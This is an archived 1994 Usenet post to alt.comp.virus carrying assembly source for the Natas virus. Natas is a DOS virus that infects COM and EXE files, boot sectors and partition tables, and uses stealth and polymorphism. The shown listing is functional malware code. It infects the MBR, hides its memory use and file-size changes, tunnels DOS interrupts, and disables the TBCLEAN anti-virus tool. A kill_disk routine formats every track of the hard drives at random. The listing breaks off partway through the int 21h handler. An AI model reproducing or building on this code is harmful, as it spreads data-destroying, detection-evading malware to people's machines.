home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / V.ZIP / V1ENG.ZIP / V1ENG.ASM
Assembly Source File  |  1994-11-14  |  104KB  |  2,609 lines

  1. From netcom.com!ix.netcom.com!howland.reston.ans.net!sol.ctr.columbia.edu!news.mtu.edu!news.mtu.edu!not-for-mail Mon Nov 14 02:24:29 1994
  2. Xref: netcom.com alt.comp.virus:240
  3. Path: netcom.com!ix.netcom.com!howland.reston.ans.net!sol.ctr.columbia.edu!news.mtu.edu!news.mtu.edu!not-for-mail
  4. From: jdmathew@mtu.edu (Icepick)
  5. Newsgroups: alt.comp.virus
  6. Subject: NATAS
  7. Date: 13 Nov 1994 18:54:19 -0500
  8. Organization: Michigan Technological University
  9. Lines: 2594
  10. Message-ID: <3a68vb$l2o@maxwell11.ee>
  11. NNTP-Posting-Host: maxwell11.ee.mtu.edu
  12. X-Newsreader: TIN [version 1.2 PL1]
  13.  
  14. ;Natas Virus
  15. ;COM/EXE/Boot sector/partition table/full Stealth and polymorphic
  16. ;Tunnels
  17. ;Does other stuff
  18. ;2 files -- v1eng.asm = virus  eng.asm = Engine
  19.  
  20.  
  21. ----------------<<v1eng.asm>>--------------------------------------------------
  22.  
  23. .model  tiny
  24. .code
  25.  
  26. file_size       equ     file_end - v_start
  27. sect_size       equ     (decrypt - v_start + 511) / 512
  28. para_size       equ     (v_end - v_start + 15) / 16
  29. kilo_size       equ     (v_end - v_start + 1023) / 1024
  30.  
  31. find_dos_13     equ     tracer_dos_13 - (trace_mode + 1)
  32. find_13         equ     tracer_13 - (trace_mode + 1)
  33. find_15         equ     tracer_15 - (trace_mode + 1)
  34. find_21         equ     tracer_21 - (trace_mode + 1)
  35. find_40         equ     tracer_40 - (trace_mode + 1)
  36. step_21         equ     tracer_step_21 - (trace_mode + 1)
  37.  
  38. loader_size     equ     loader_end - loader
  39.  
  40. no_hook_21      equ     new_13_next - (hook_21 + 1)
  41. yes_hook_21     equ     check_21 - (hook_21 + 1)
  42.  
  43. boot            equ     0
  44. file            equ     1
  45.  
  46. years           equ     100 shl 1
  47.  
  48.  
  49. v_start:        jmp     decrypt
  50.                 
  51.                 ; push    cs
  52.                 ; pop     ds
  53.                 ; call    copy_ints
  54.                 dw      copy_ints - ($ + 2)     ; save ints 13 15 21 40
  55.                 mov     ds:hook_21,al           ; (0=yes_hook_21) hook 21h
  56.                 mov     ds:origin,al            ; (0=boot) remeber host
  57.                 mov     es,ax                   ; ES=0
  58.                 pop     di
  59.                 sub     di,3                    ; address of loader in boot
  60.                 push    ax di                   ; save return address 0:xxxx
  61.                 mov     si,offset boot_code
  62.                 call    move_boot_code1         ; copy and decode boot code
  63.                 mov     al,13h
  64.                 mov     dx,offset new_13
  65.                 call    set_int                 ; hook int 13h
  66.                 call    inf_hard                ; infect drive C:
  67.                 test    byte ptr ds:load_head,dl ; DL=80h drive C:?
  68.                 je      boot_retf
  69.                 mov     ax,1ffh
  70.                 call    random                  ; time to activate?
  71.                 jne     boot_retf
  72.                 jmp     kill_disk
  73.  
  74. boot_retf:      retf                            ; return to boot sector
  75.                 
  76. ;=====( Copy boot code and (en/de)crypt it )=================================;
  77.  
  78. move_boot_code1:mov     ah,ds:[si - 1]          ; get key
  79. move_boot_code: mov     cx,loader_size
  80.                 cld
  81. move_boot_loop: lodsb
  82.                 xor     al,ah                   ; code/decode
  83.                 rol     ah,1
  84.                 stosb
  85.                 loop    move_boot_loop
  86.                 retn
  87.                 
  88. ;=====( Code that was in boot sector before infection )======================;
  89.  
  90. boot_code_key   db      ?
  91. boot_code:      db      loader_size dup(?)
  92.  
  93. ;=====( Gets inserted into infected Boot sectors/MBRs )======================;
  94.  
  95. loader:         call    $ + 3
  96.                 mov     di,40h
  97.                 mov     ds,di
  98.                 sub     word ptr ds:[di-(40h-13h)],kilo_size ; hide memory
  99.                 mov     ax,ds:[di-(40h-13h)]
  100.                 mov     cl,0ah
  101.                 ror     ax,cl                   ; get TOM address
  102.                 mov     es,ax
  103.                 mov     ax,200h + sect_size
  104.                 xor     bx,bx
  105.                 mov     cx,0
  106. load_sect       =       $ - 2
  107.                 mov     dx,0
  108. load_head       =       $ - 2
  109.                 int     13h                     ; read code into memory
  110.                 jb      load_fail
  111.                 push    es bx                   ; address of high code
  112.                 retf
  113. load_fail:      int     18h
  114. loader_end:
  115.  
  116. ;=====( save ints 13h, 15h, 21h & 40h. Assumes ES=CS )=======================;
  117.  
  118. copy_ints:      push    ds
  119.                 xor     ax,ax
  120.                 mov     ds,ax                   ; segment 0
  121.                 mov     si,13h * 4h
  122.                 mov     di,offset int_13
  123.                 push    si si
  124.                 movsw
  125.                 movsw                           ; int 13h to int_13
  126.                 pop     si
  127.                 movsw
  128.                 movsw                           ; int 13h to dos_13
  129.                 mov     si,15h * 4h
  130.                 movsw
  131.                 movsw                           ; int 15h to int_15
  132.                 pop     si                      ; address of int 13h's IVT
  133.                 cmp     byte ptr ds:[475h],al   ; any hard disks?
  134.                 je      copy_int_40
  135.                 mov     si,40h * 4h
  136. copy_int_40:    movsw
  137.                 movsw                           ; copy int 13h/40h to int_40
  138.                 mov     si,21h * 4h
  139.                 movsw
  140.                 movsw                           ; int 21h to int_21
  141.                 pop     ds
  142.                 retn
  143.  
  144. ;=====( get interrupt address )==============================================;
  145.  
  146. get_int:        push    ax
  147.                 xor     ah,ah
  148.                 rol     ax,1
  149.                 rol     ax,1
  150.                 xchg    bx,ax
  151.                 xor     ax,ax
  152.                 mov     es,ax
  153.                 les     bx,es:[bx]              ; get int address
  154.                 pop     ax
  155.                 retn
  156.  
  157. ;=====( Set interrupt address )==============================================;
  158.  
  159. set_int:        push    ax bx ds
  160.                 xor     ah,ah
  161.                 rol     ax,1
  162.                 rol     ax,1
  163.                 xchg    ax,bx
  164.                 xor     ax,ax
  165.                 push    ds
  166.                 mov     ds,ax
  167.                 mov     ds:[bx],dx
  168.                 pop     ds:[bx + 2]
  169.                 pop     ds bx ax
  170.                 retn
  171.                 
  172.  
  173. push_all:       pop     cs:push_pop_ret
  174.                 pushf
  175.                 push    ax bx cx dx bp si di ds es
  176.                 mov     bp,sp
  177. push_pop_jmp:   jmp     cs:push_pop_ret
  178.  
  179. pop_all:        pop     cs:push_pop_ret
  180.                 pop     es ds di si bp dx cx bx ax
  181.                 popf
  182.                 jmp     push_pop_jmp
  183.  
  184. ;=====( Infect Drive C: )====================================================;
  185.  
  186. inf_hard:       push    cs cs
  187.                 pop     es ds
  188.                 mov     ax,201h
  189.                 mov     bx,offset disk_buff
  190.                 mov     cx,1
  191.                 mov     dx,80h
  192.                 call    call_13                 ; read MBR of drive C:
  193.                 jb      cant_inf_hard
  194.                 cmp     ds:[bx.pt_start_head],ch ; Jackal?
  195.                 je      cant_inf_hard
  196.                 mov     cx,ds:[bx.pt_end_sector_track]
  197.                 and     cx,0000000000111111b    ; get sector count
  198.                 sub     cx,sect_size
  199.                 jbe     cant_inf_hard
  200.                 cmp     cl,1                    ; too few sectors?
  201.                 jbe     cant_inf_hard
  202.                 call    copy_loader             ; copy loader into MBR
  203.                 jb      cant_inf_hard
  204.                 push    bx
  205.                 mov     ax,300h + sect_size
  206.                 xor     bx,bx
  207.                 call    call_13                 ; write code to hidden sectors
  208.                 pop     bx
  209.                 jb      cant_inf_hard
  210.                 mov     ax,301h
  211.                 mov     cl,1
  212.                 call    call_13                 ; write infected MBR
  213. cant_inf_hard:  retn   
  214.  
  215. ;=====( Copy Loader into disk_buff (BX) )====================================;
  216.  
  217. copy_loader:    push    cx dx
  218.                 cmp     word ptr ds:[bx+1feh],0aa55h    ; valid boot code?
  219.                 jne     copy_load_no
  220.                 mov     di,offset boot_code
  221.                 mov     ds:[di+load_sect-boot_code],cx  ; save track/sector
  222.                 and     dl,80h                          ; Drive C: or A:
  223.                 mov     ds:[di+load_head-boot_code],dx  ; save head/disk
  224.                 call    find_boot               ; find code/already infected?
  225.                 je      copy_load_no
  226.                 call    random_1                ; get random key
  227.                 mov     ds:[di - 1],ah          ; save key at boot_code_key
  228.                 push    si
  229.                 call    move_boot_code          ; save boot code and encrypt
  230.                 mov     si,di                   ; offset of loader
  231.                 pop     di                      ; boot code pointer
  232.                 mov     cx,loader_size
  233.                 rep     movsb                   ; copy loader into boot sect
  234.                 clc
  235.                 mov     al,0
  236.                 org     $ - 1
  237. copy_load_no:   stc
  238.                 pop     dx cx
  239.                 retn   
  240.                 
  241. ;=====( Find start of boot sector's code )===================================;
  242.  
  243. find_boot:      mov     si,bx
  244.                 cld
  245.                 lodsb                           ; get 1st instruction
  246.                 push    ax
  247.                 lodsw                           ; Jump displacement (if jump)
  248.                 xchg    cx,ax
  249.                 pop     ax
  250.                 cmp     al,0ebh                 ; Short jump?
  251.                 jne     find_boot_jump
  252.                 xor     ch,ch                   ; 8bit jump
  253.                 dec     si
  254.                 jmp     find_boot_add
  255. find_boot_jump: cmp     al,0e9h                 ; Near Jump?
  256.                 je      find_boot_add
  257. find_boot_noadd:xor     cx,cx                   ; No displacement
  258.                 mov     si,bx
  259. find_boot_add:  add     si,cx                   ; si=start of boot code
  260.                 cmp     si,offset (disk_buff+200h) - (loader_size + 5) 
  261.                                                 ; jump out of range?
  262.                 jnb     find_boot_noadd
  263.                 cmp     word ptr ds:[si],00e8h  ; CALL -> already infected
  264.                 jne     find_boot_ret
  265.                 cmp     word ptr ds:[si+2],0bf00h ; 00 MOV DI -> already inf
  266. find_boot_ret:  retn
  267.  
  268. ;=====( Disable TBCLEAN )====================================================;
  269.  
  270. anti_tbclean:   xor     ax,ax
  271.                 pushf
  272.                 pop     dx
  273.                 and     dh,not 1                ; TF off
  274.                 push    dx dx
  275.                 popf
  276.                 push    ss
  277.                 pop     ss
  278.                 pushf                           ; Not trapped
  279.                 pop     dx
  280.                 test    dh,1                    ; TF set?
  281.                 pop     dx
  282.                 je      anti_tb_ret
  283.                 push    es
  284.                 xor     bp,bp
  285.                 mov     cx,ss
  286.                 cli
  287.                 mov     ss,bp                   ; segment 0
  288.                 les     di,ss:[bp+1h*4h]        ; address of int 1h
  289.                 mov     ss,cx
  290.                 sti
  291.                 mov     al,0cfh
  292.                 cld
  293.                 stosb                           ; IRET -> Int 1h
  294.                 pop     es
  295.                 push    dx
  296.                 popf
  297. anti_tb_ret:    xchg    bp,ax                   ; save result
  298.                 retn
  299.  
  300. ;=====( Swap jump into DOS' int 13h )========================================;
  301.  
  302. swap_13:        call    push_all
  303.                 mov     si,offset jump_code_13
  304.                 les     di,cs:[si+dos_13-jump_code_13]  ; get address in DOS
  305.                 jmp     swap_code
  306.  
  307. ;=====( Swap jump into DOS' int 21h )========================================;
  308.  
  309. swap_21:        call    push_all
  310.                 mov     si,offset jump_code_21
  311.                 les     di,cs:[si+int_21-jump_code_21]
  312. swap_code:      push    cs
  313.                 pop     ds
  314.                 mov     cx,5
  315.                 cmp     ds:origin,ch            ; 0 -> Boot origin, no tunnel
  316.                 je      swap_end
  317.                 cld
  318. swap_loop:      lodsb
  319.                 xchg    al,es:[di]
  320.                 mov     ds:[si-1],al
  321.                 inc     di
  322.                 loop    swap_loop
  323. swap_end:       call    pop_all
  324.                 retn
  325.  
  326. ;=====( Find original interrupt entry points )===============================;
  327.  
  328. find_ints:      call    copy_ints               ; get interrupt addresses
  329.                 mov     ah,52h
  330.                 int     21h
  331.                 mov     ax,es:[bx-2]
  332.                 mov     ds:dos_seg,ax           ; 1st MCB segment
  333.                 mov     al,1h
  334.                 call    get_int                 ; get address of int 1h
  335.                 push    bx es
  336.                 mov     dx,offset tracer
  337.                 call    set_int                 ; hook int 1h
  338.                 pushf
  339.                 pop     si
  340.                 mov     di,offset trace_mode
  341.                 mov     byte ptr ds:[di],find_dos_13  ; find int 13h in DOS
  342.                                                       ; and BIOS
  343.                 mov     ah,1h
  344.                 call    si_tf                   ; set TF
  345.                 call    call_13
  346.                 mov     byte ptr ds:[di],find_15 ; find int 15h in BIOS
  347.                 mov     ah,0c0h
  348.                 call    si_tf                   ; set TF
  349.                 pushf
  350.                 call    ds:int_15   
  351.                 mov     byte ptr ds:[di],find_21 ; find int 21h in DOS
  352.                 mov     ah,30h
  353.                 call    si_tf                   ; set TF
  354.                 call    call_21
  355.                 mov     byte ptr ds:[di],find_40 ; find int 40h in BIOS
  356.                 mov     ah,1
  357.                 call    si_tf                   ; set TF
  358.                 call    call_40
  359.                 and     si,not 100h
  360.                 push    si
  361.                 popf                            ; disable Trapping
  362.                 pop     ds dx
  363.                 mov     al,1
  364.                 call    set_int                 ; unhook int 1h
  365.                 retn
  366.  
  367. ;=====( Set TF in SI, then set flags to SI )=================================;
  368.  
  369. si_tf:          or      si,100h
  370.                 push    si
  371.                 popf
  372.                 retn
  373.  
  374. ;=====( Tracing/Tunneling )==================================================;
  375.  
  376. tracer:         push    ds
  377.                 push    cs
  378.                 pop     ds
  379.                 mov     ds:old_di,di
  380.                 mov     di,offset old_ax
  381.                 mov     ds:[di],ax
  382.                 mov     ds:[di+old_bx-old_ax],bx
  383.                 mov     ds:[di+old_cx-old_ax],cx
  384.                 mov     ds:[di+old_dx-old_ax],dx
  385.                 pop     ds:[di-(old_ax-old_ds)]
  386.                 pop     bx cx dx                ; get IP, CS and Flags
  387.                 mov     ax,cs
  388.                 cmp     ax,cx                   ; In our CS?
  389.                 jne     $
  390. trace_mode      =       byte ptr $ - 1
  391.                 jmp     tracer_iret
  392.  
  393. tracer_dos_13:  cmp     cx,ds:dos_seg           ; in DOS code?
  394.                 jnb     tracer_cont
  395.                 mov     di,offset dos_13
  396.                 mov     ds:trace_mode,find_13   ; find it in BIOS next
  397.                 jmp     tracer_save_f
  398.  
  399. tracer_21:      cmp     cx,1234h                ; In DOS code?
  400. dos_seg         =       word ptr $ - 2
  401.                 jnb     tracer_cont
  402.                 mov     di,offset int_21
  403. tracer_save:    and     dh,not 1                ; TF off
  404. tracer_save_f:  mov     ds:[di],bx
  405.                 mov     ds:[di + 2],cx          ; save address of int
  406.                 jmp     tracer_cont
  407.  
  408. tracer_15:      mov     di,offset int_15
  409.                 jmp     tracer_bios
  410.  
  411. tracer_40:      mov     di,offset int_40
  412.                 jmp     tracer_bios
  413.                 
  414. tracer_13:      mov     di,offset int_13
  415. tracer_bios:    cmp     ch,0c8h                 ; Below BIOS?
  416.                 jb      tracer_cont
  417.                 cmp     ch,0f4h                 ; Above BIOS?
  418.                 jb      tracer_save
  419.                 jmp     tracer_cont
  420.  
  421. tracer_step_21: dec     ds:inst_count           ; down counter
  422.                 jne     tracer_cont
  423.                 push    dx
  424.                 mov     al,1
  425.                 lds     dx,ds:int_1             ; get int 1h address
  426.                 call    set_int
  427.                 call    swap_21                 ; insert int 21h jump
  428.                 pop     dx
  429.                 and     dh,not 1h               ; TF off
  430.  
  431. tracer_cont:    test    dh,1                    ; TF on?
  432.                 je      tracer_iret
  433. get_inst:       mov     ds,cx                   ; instruction CS
  434.                 xor     di,di
  435. get_inst1:      mov     ax,ds:[bx + di]         ; get instruction
  436.                 cmp     al,0f0h                 ; LOCK
  437.                 je      skip_prefix
  438.                 cmp     al,0f2h                 ; REPNE
  439.                 je      skip_prefix
  440.                 cmp     al,0f3h                 ; REPE?
  441.                 je      skip_prefix
  442.                 cmp     al,9ch                  ; PUSHF or above?
  443.                 jae     emulate_pushf
  444.                 and     al,11100111b            ; 26,2e,36,3e = 26
  445.                 cmp     al,26h                  ; Segment Prefix?
  446.                 jne     tracer_iret
  447. skip_prefix:    inc     di
  448.                 jmp     get_inst1
  449.  
  450. emulate_pushf:  jne     emulate_popf
  451.                 and     dh,not 1                ; TF off
  452.                 push    dx                      ; fake PUSHF
  453. emulate_next:   lea     bx,ds:[bx + di + 1]     ; skip instruction
  454. emulate_tf:     or      dh,1                    ; TF on
  455.                 jmp     get_inst
  456.  
  457. emulate_popf:   cmp     al,9dh                  ; POPF?
  458.                 jne     emulate_iret
  459.                 pop     dx                      ; fake POPF
  460.                 jmp     emulate_next
  461.  
  462. emulate_iret:   cmp     al,0cfh                 ; IRET?
  463.                 jne     emulate_int
  464.                 pop     bx cx dx                ; fake IRET
  465.                 jmp     emulate_tf
  466.  
  467. emulate_int:    cmp     al,0cdh                 ; Int xx
  468.                 je      emulate_int_xx
  469.                 cmp     al,0cch                 ; Int 3?
  470.                 mov     ah,3
  471.                 je      emulate_int_x
  472.                 cmp     al,0ceh                 ; Into?
  473.                 mov     ah,4
  474.                 jne     tracer_iret
  475.                 test    dh,8                    ; OF set?
  476.                 je      tracer_iret
  477. emulate_int_x:  dec     bx                      ; [bx+di+2-1]
  478. emulate_int_xx: and     dh,not 1                ; TF off
  479.                 lea     bx,ds:[bx + di + 2]     ; get return address
  480.                 push    dx cx bx                ; fake Int
  481.                 mov     al,ah                
  482.                 push    es
  483.                 call    get_int                 ; get interrupt address
  484.                 mov     cx,es
  485.                 pop     es
  486.                 jmp     emulate_tf
  487.  
  488. tracer_iret:    push    dx cx bx                ; save flags, cs & ip
  489.                 mov     ax,0
  490. old_ds          =       word ptr $ - 2
  491.                 mov     ds,ax
  492.                 mov     ax,0
  493. old_ax          =       word ptr $ - 2
  494.                 mov     bx,0
  495. old_bx          =       word ptr $ - 2
  496.                 mov     cx,0
  497. old_cx          =       word ptr $ - 2
  498.                 mov     dx,0
  499. old_dx          =       word ptr $ - 2
  500.                 mov     di,0
  501. old_di          =       word ptr $ - 2
  502.                 iret
  503.  
  504. ;=====( file infections come here after decryption )=========================;
  505.  
  506. file_start:     push    ds                      ; save PSP segment
  507.                 call    $ + 3
  508.                 pop     si
  509.                 sub     si,offset $ - 1
  510.                 call    anti_tbclean            ; disable TBCLEAN
  511.                 or      bp,bp                   ; TBCLEAN active?
  512.                 jne     go_res
  513.                 mov     ah,30h
  514.                 mov     bx,-666h
  515.                 int     21h
  516.                 cmp     al,3h                   ; must be DOS 3+
  517.                 jb      jump_host
  518. go_res:         mov     ax,es
  519.                 dec     ax
  520.                 mov     ds,ax
  521.                 xor     di,di
  522.                 or      bp,bp                   ; TBCLEAN here?
  523.                 jne     dont_check_mcb
  524.                 cmp     byte ptr ds:[di],'Z'    ; Last Block?
  525.                 jne     jump_host
  526. dont_check_mcb: mov     ax,para_size
  527.                 sub     ds:[di + 3],ax          ; from MCB
  528.                 sub     ds:[di + 12h],ax        ; from PSP
  529.                 mov     es,ds:[di + 12h]        ; get memory address
  530.                 mov     ds,di
  531.                 sub     word ptr ds:[413h],kilo_size ; from int 12h
  532.                 mov     cx,jump_code_13-v_start
  533.                 cld
  534.                 rep     movs byte ptr es:[di],byte ptr cs:[si]  
  535.                 mov     ax,offset high_code
  536.                 push    es ax
  537.                 retf
  538.  
  539. jump_host:      push    cs
  540.                 pop     ds
  541.                 pop     es                      ; PSP segment
  542.                 lea     si,ds:[si + header]     ; get address of header
  543.                 mov     ax,ds:[si]              ; get 1st instruction
  544.                 cmp     ax,'ZM'                 ; EXE?
  545.                 je      jump_2_exe
  546.                 cmp     ax,'MZ'                 ; EXE?
  547.                 je      jump_2_exe
  548.                 mov     cx,18h / 2
  549.                 mov     di,100h
  550.                 push    es di
  551.                 cld
  552.                 rep     movsw                   ; repair .COM file
  553.                 push    es
  554.                 pop     ds
  555.                 xchg    ax,cx
  556.                 retf
  557.                 
  558. jump_2_exe:     mov     ax,es
  559.                 add     ax,10h
  560.                 add     ds:[si.eh_cs],ax
  561.                 add     ax,ds:[si.eh_ss]        ; get SS/CS
  562.                 push    es
  563.                 pop     ds
  564.                 cli
  565.                 mov     ss,ax
  566.                 mov     sp,cs:[si.eh_sp]
  567.                 xor     ax,ax
  568.                 sti
  569.                 jmp     dword ptr cs:[si.eh_ip]
  570.  
  571.  
  572. high_code:      push    cs
  573.                 pop     ds
  574.                 mov     byte ptr ds:[di+origin-jump_code_13],file ; tunnel      
  575.                 mov     ax,2
  576.                 call    random                  ; 1 in 3 chance of no stealth
  577.                                                 ; on special programs
  578.                 mov     ds:check_special,al
  579.                 mov     ds:hook_21,no_hook_21   ; dont hook int 21h
  580.                 mov     al,0eah
  581.                 stosb                           ; store at jump_code_13
  582.                 mov     ds:[di+4],al
  583.                 mov     ax,offset new_13
  584.                 stosw
  585.                 mov     word ptr ds:[di+3],offset new_21
  586.                 mov     ds:[di],cs
  587.                 mov     ds:[di+5],cs
  588.                 push    di
  589.                 call    find_ints               ; trace interrupts
  590.                 pop     di
  591.                 push    cs
  592.                 pop     ds
  593.                 mov     ax,ds:dos_seg
  594.                 cmp     word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax 
  595.                                                 ; found DOS' int 13h?
  596.                 ja      call_inf_hard
  597.                 cmp     word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax            
  598.                                                 ; found DOS' int 21h?
  599.                 ja      call_inf_hard
  600.                 call    swap_13
  601.                 call    swap_21                 ; insert jumps into DOS
  602. call_inf_hard:  call    inf_hard                ; infect drive C:
  603.                 or      bp,bp                   ; ZF -> No TBCLEAN
  604.                 mov     si,bp                   ; SI=0 if goto jump_host
  605.                 jne     kill_disk
  606.                 jmp     jump_host
  607.  
  608. kill_disk:      xor     bx,bx
  609.                 mov     es,bx                   ; table to use for format
  610.                 mov     dl,80h                  ; Drive C:
  611. kill_next_disk: xor     dh,dh                   ; head 0
  612. kill_next_track:xor     cx,cx                   ; track 0             
  613. kill_format:    mov     ax,501h
  614.                 call    call_disk               ; format track
  615.                 and     cl,11000000b
  616.                 inc     ch                      ; next track low
  617.                 jne     kill_format
  618.                 add     cl,40h                  ; next track high
  619.                 jne     kill_format
  620.                 xor     ah,ah
  621.                 int     13h                     ; reset disk
  622.                 inc     dh                      ; next head
  623.                 cmp     dh,10h
  624.                 jb      kill_next_track
  625.                 inc     dx                      ; next drive
  626.                 jmp     kill_next_disk
  627.  
  628. ;=====( Interrupt 13h handler )==============================================;
  629.  
  630. new_13:         jmp     $
  631. hook_21         =       byte ptr $ - 1
  632.  
  633. check_21:       call    push_all
  634.                 mov     al,21h
  635.                 call    get_int                 ; get int 21h address
  636.                 mov     ax,es
  637.                 push    cs cs
  638.                 pop     ds es
  639.                 cmp     ax,800h                 ; too high?
  640.                 ja      cant_hook_21
  641.                 mov     di,offset int_21 + 2
  642.                 std
  643.                 xchg    ax,ds:[di]              ; swap addresses
  644.                 scasw                           ; did it change?
  645.                 je      cant_hook_21
  646.                 mov     ds:[di],bx
  647.                 mov     al,21h
  648.                 mov     dx,offset new_21
  649.                 call    set_int                 ; hook int 21h
  650.                 mov     ds:hook_21,no_hook_21
  651. cant_hook_21:   call    pop_all
  652.  
  653. new_13_next:    cmp     ah,2h                   ; Read?
  654.                 jne     jump_13
  655.                 cmp     cx,1                    ; track 0, sector 1?
  656.                 jne     jump_13
  657.                 or      dh,dh                   ; head 0?
  658.                 je      hide_boot
  659. jump_13:        call    call_dos_13
  660.                 retf    2h
  661.  
  662.  
  663. hide_boot:      call    call_dos_13             ; read boot sector
  664.                 call    push_all
  665.                 jb      hide_boot_err
  666.                 push    es cs
  667.                 pop     es ds
  668.                 mov     cx,100h
  669.                 mov     si,bx
  670.                 mov     di,offset disk_buff
  671.                 mov     bx,di
  672.                 cld
  673.                 rep     movsw                   ; copy boot sector to buffer
  674.                 push    cs
  675.                 pop     ds
  676.                 call    find_boot               ; find start/already infected?
  677.                 jne     inf_boot
  678.                 mov     ax,201h
  679.                 mov     cx,ds:[si+load_sect-loader]
  680.                 mov     dh,byte ptr ds:[si+(load_head+1)-loader]
  681.                                                 ; get code location
  682.                 call    call_disk               ; read virus code
  683.                 jb      hide_boot_err
  684.                 mov     ax,ds:[0]
  685.                 cmp     ds:[bx],ax              ; verify infection
  686.                 jne     hide_boot_err
  687.                 mov     di,ss:[bp.reg_bx]
  688.                 mov     es,ss:[bp.reg_es]       ; get caller's buffer
  689.                 sub     si,bx                   ; displacement into boot sect.
  690.                 add     di,si                   ; address of loader
  691.                 lea     si,ds:[bx+(boot_code-v_start)] ; boot code in virus
  692.                 call    move_boot_code1         ; hide infection
  693. hide_boot_err:  call    pop_all
  694.                 retf    2h
  695.  
  696. inf_boot:       cmp     dl,80h                  ; hard disk?
  697.                 jnb     hide_boot_err
  698.                 mov     ax,301h
  699.                 mov     cx,1
  700.                 call    call_disk               ; Write boot sector to disk
  701.                                                 ; CY -> Write-Protected
  702.                 jb      hide_boot_err
  703.                 mov     si,dx                   ; save drive #
  704.                 mov     di,bx
  705.                 mov     ax,ds:[di.bs_sectors]   ; get number of sectors
  706.                 mov     cx,ds:[di.bs_sectors_per_track]
  707.                 sub     ds:[di.bs_sectors],cx   ; prevent overwriting of code
  708.                 mov     ds:hide_count,cx
  709.                 xor     dx,dx
  710.                 or      ax,ax                   ; error?
  711.                 je      hide_boot_err
  712.                 jcxz    hide_boot_err
  713.                 div     cx
  714.                 or      dx,dx                   ; even division?
  715.                 jne     hide_boot_err
  716.                 mov     bx,ds:[di.bs_heads]     ; get number of heads
  717.                 or      bx,bx
  718.                 je      hide_boot_err
  719.                 div     bx
  720.                 or      dx,dx
  721.                 jne     hide_boot_err
  722.                 dec     ax
  723.                 mov     ch,al                   ; last track
  724.                 mov     cl,1                    ; sector 1
  725.                 dec     bx
  726.                 mov     dx,si                   ; drive
  727.                 mov     dh,bl                   ; last head
  728.                 mov     bx,di                   ; offset disk buffer
  729.                 call    copy_loader             ; Copy loader into Boot sector
  730.                 jb      hide_boot_err
  731.                 mov     ax,300h + sect_size
  732.                 xor     bx,bx
  733.                 call    call_disk
  734.                 jb      hide_boot_err
  735.                 mov     ax,301h
  736.                 mov     bx,offset disk_buff
  737.                 mov     cx,1
  738.                 xor     dh,dh
  739.                 call    call_disk               ; write boot sector to disk
  740.                 mov     bx,ss:[bp.reg_bx]
  741.                 mov     ds,ss:[bp.reg_es]       ; get caller's buffer
  742.                 sub     ds:[bx.bs_sectors],9ffh ; prevent overwriting of code
  743. hide_count      =       word ptr $ - 2
  744.                 jmp     hide_boot_err
  745.  
  746. ;=====( Interrupt 21h handler )==============================================;
  747.  
  748. new_21:         cli
  749.                 mov     cs:int_21_ss,ss
  750.                 mov     cs:int_21_sp,sp         ; save stack pointers
  751.                 push    cs
  752.                 pop     ss
  753.                 mov     sp,offset temp_stack    ; allocate stack
  754.                 sti
  755.                 call    push_all
  756.                 in      al,21h
  757.                 or      al,2                    ; disable keyboard
  758.                 out     21h,al
  759.                 push    cs
  760.                 pop     ds
  761.                 mov     di,offset new_24
  762.                 mov     word ptr ds:[di-(new_24-handle)],bx ; save handle
  763.                 mov     al,24h
  764.                 call    get_int                 ; get address of int 24h
  765.                 mov     word ptr ds:[di-(new_24-int_24)],bx
  766.                 mov     word ptr ds:[di-(new_24-(int_24+2))],es
  767.                 mov     word ptr ds:[di],03b0h  ; MOV AL,3
  768.                 mov     byte ptr ds:[di+2],0cfh ; IRET
  769.                 mov     dx,di
  770.                 call    set_int                 ; hook int 24h
  771.                 call    pop_all
  772.                 call    swap_21                 ; remove jump from int 21h
  773.                 call    push_all
  774.                 cmp     ah,30h                  ; get DOS version?
  775.                 jne     is_dir_fcb
  776.                 add     bx,666h                 ; looking for us?
  777.                 jnz     is_dir_fcb
  778.                 mov     ss:[bp.reg_ax],bx       ; set DOS version=0
  779.                 mov     ss:[bp.reg_bx],bx
  780.                 jmp     retf_21
  781.  
  782. is_dir_fcb:     cmp     ah,11h
  783.                 jb      is_dir_asciiz
  784.                 cmp     ah,12h
  785.                 ja      is_dir_asciiz
  786.                 call    call_21                 ; do find
  787.                 or      al,al                   ; error?
  788.                 je      dir_fcb
  789.                 jmp     jump_21
  790.  
  791. dir_fcb:        call    save_returns            ; save AX
  792.                 call    get_psp                 ; get current PSP
  793.                 mov     ax,'HC'
  794.                 scasw                           ; CHKDSK?
  795.                 jne     dir_fcb_ok
  796.                 mov     ax,'DK'
  797.                 scasw
  798.                 jne     dir_fcb_ok
  799.                 mov     ax,'KS'
  800.                 scasw
  801.                 je      retf_21
  802. dir_fcb_ok:     call    get_dta                 ; get DTA address
  803.                 xor     di,di
  804.                 cmp     byte ptr ds:[bx],-1     ; extended FCB?
  805.                 jne     dir_fcb_next
  806.                 mov     di,7h                   ; fix it up
  807. dir_fcb_next:   lea     si,ds:[bx+di.ds_date+1] ; offset of year -> SI
  808. dir_hide:       call    is_specialfile          ; no stealth if helper
  809.                 je      retf_21
  810.                 cmp     byte ptr ds:[si],years  ; infected?
  811.                 jc      retf_21
  812.                 sub     byte ptr ds:[si],years  ; restore old date
  813.                 les     ax,ds:[bx+di.ds_size]   ; get size of file
  814.                 mov     cx,es
  815.                 sub     ax,file_size            ; hide size increase
  816.                 sbb     cx,0
  817.                 jc      retf_21
  818.                 mov     word ptr ds:[bx+di.ds_size],ax
  819.                 mov     word ptr ds:[bx+di.ds_size+2],cx ; save new size
  820. retf_21:        call    undo_24                 ; unhook int 24h
  821.                 call    pop_all
  822.                 call    swap_21                 ; insert jump
  823.                 cli
  824.                 mov     ss,cs:int_21_ss
  825.                 mov     sp,cs:int_21_sp
  826.                 sti
  827.                 retf    2
  828.  
  829.                 
  830. is_dir_asciiz:  cmp     ah,4eh
  831.                 jb      is_lseek
  832.                 cmp     ah,4fh
  833.                 ja      is_lseek
  834.                 call    call_21
  835.                 jnc     dir_asciiz    
  836. go_jump_21:     jmp     jump_21
  837.  
  838. dir_asciiz:     call    save_returns            ; save AX and flags
  839.                 call    get_dta                 ; get dta address
  840.                 mov     di,-3
  841.                 lea     si,ds:[bx.dta_date+1]   ; get year address
  842.                 jmp     dir_hide
  843.  
  844. is_lseek:       cmp     ax,4202h                ; Lseek to end?
  845.                 jne     is_date
  846.                 call    call_21_file
  847.                 jb      go_jump_21
  848.                 call    get_dcb                 ; get DCB address
